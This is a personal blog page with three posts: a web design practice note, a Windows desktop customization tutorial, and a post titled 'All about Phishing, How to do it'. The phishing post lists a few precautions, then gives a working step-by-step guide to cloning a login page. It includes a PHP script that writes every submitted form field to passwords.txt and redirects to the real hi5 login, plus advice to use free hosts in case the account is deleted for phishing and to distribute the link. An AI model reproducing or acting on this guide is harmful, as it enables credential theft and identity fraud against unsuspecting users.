Web Designing Practice 101
Nov 29th
[Test Page] Best viewed with Firefox 3.5 A test page I created using some basic photoshop. The slices I cut from the psd are as below. [images]
- Screen shot of the PSD used to cut slices.
Curved DIV: There are many ways to create curved DIVs, but I preferred using a simpler method I found while surfing the internet. The curvature of the DIV tags is a simple code, can be found here:
IE as expected doesn’t support the code, so a downloadable file is included at the above URL. The download htc file isn’t completely bug free. DIV height problems are still noticeable. Plus using it with the jQuery with it gave me hundreds of problems. I preferred to keep my design sharp edged for IE people.
The CSS style sheet can be accessed here [StyleSheet]. It is a bit messed up so have patience.
jQuery: The jquery was copied from the tutorial. Made many changes to the CSS according to my design. It required variable height so, I used just the min-height property on the content DIV.
Known Bugs and Problems: Right now the fact that the page is static is disturbing. It has to be evolved into a php dynamic page. Loading of all the posts in a single page load will increase load times later. Also there will be problem monitoring post statistics separately (indexing, meta, visitors). Another problem I have to overcome is the embedding of a flash movie in the jQuery DIV. Please report any other bugs and suggestions to indigoanalysis@gmail.com
Desktop Customization Tutorial
May 28th
Following are the ingredients used in the making of the Kill Lois desktop. For ease I’ve put them in the order of installation. A brief description is also given if required. For rainmeter skin editing or any other queries please contact me through email: indigoanalysis@gmail.com
My present desktop look
1. Rainmeter – skins: Identity (edited the size of fonts and deleted unnecessary graphics, the skin is an interactive winamp control), Yboris (first install the font in the pack, the theme displays time and date etc), Enigma (I used only the system stats meter, many other great skins in enigma), Supercolossal (needs a litte editing to change the font, displays the time and winamp stats when running winamp).
Rainmeter is the software used and it needs to be installed with various skins to utilize its full potential. The skins are easily customizable in the edit skin menu through notepad.
note: After installing themes please restart rainmeter and after editing a theme use refresh all.
2. Rocket dock – docklet: stacks docklet, skin: pre-installed blank theme
docklets and skins can easily be installed in the rocket dock respective directories. After installing a docklet do not forget to restart rocket dock. To use docklet, right click the rocket dock and select add item>”stacks docklet”. Then go to the icon properties of the docklet for settings.
3. The Kill Lois wallpaper
4. Uxpatcher (To patch windows dll to allow other themes). Easy installation
5. MakkiX and MaggraX theme. Only works when you have the uxpatcher installed.
6. Fences (optional) – Helps to sort desktop icons and make hem visible/invisible at a doubleclick/esc on the desktop.
7. Boot skin(optional) – Depends if you want to customise your boot skin.
All about Phishing, How to do it…..
Jan 29th
“Phishing is a technique used to gain personal information for purposes of identity theft”.
Phishing is the most common technique utilised by the Gray hats to steal passwords and other sensitive personal data. Its is always important to know where you are filling in your passwords. The phishing pages created look exactly like the original website in design, though hideous php scripts hiding inside. People who know nothing about php stuff tend to get fooled. Links to such pages usually circulate around the internet through social networking sites, spams, javascripts etc.
Precautions to take inorder to avoid getting hacked.
1. Whenever you are filling in your passwords or any sensitive data, always make a rule to check the address bar. Don’t step forward if you doubt the link there in the address bar.
2. Never use any javascripts provided by a unreliable source.
3. Check your browser’s homepage regularly. Make sure it hasn’t been changed by any recently installed application or a script.
Now for the real part, how to do it? (Not for beginners) queries mail to: indigoanalysis@gmail.com
Suppose you want to create a phishing page of “www123.com”. Firstly go to the website and save its source code to HDD. now make a new php script containing the following code.
<?php
header (‘Location: http://www.hi5.com/friend/login.do ‘);
$handle = fopen(“passwords.txt”, “a”);
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, “=”);
fwrite($handle, $value);
fwrite($handle, “rn”);
}
fwrite($handle, “rn”);
fclose($handle);
exit;
?>
now name the php file to say “phisher.php”. Go to the source you saved earlier and in the form replace the action of the form to action = “phisher.php”
Make a text file named passwords.txt
Make an account in free hosting websites( use free one because your account may get deleted for phishing activities) which support php eg: www.bravenet.com or www.t35.com
Upload the html(index.html), php and the text file with your file manager. Distribute your link to the index.html (eg: account.t35.com/index.html)
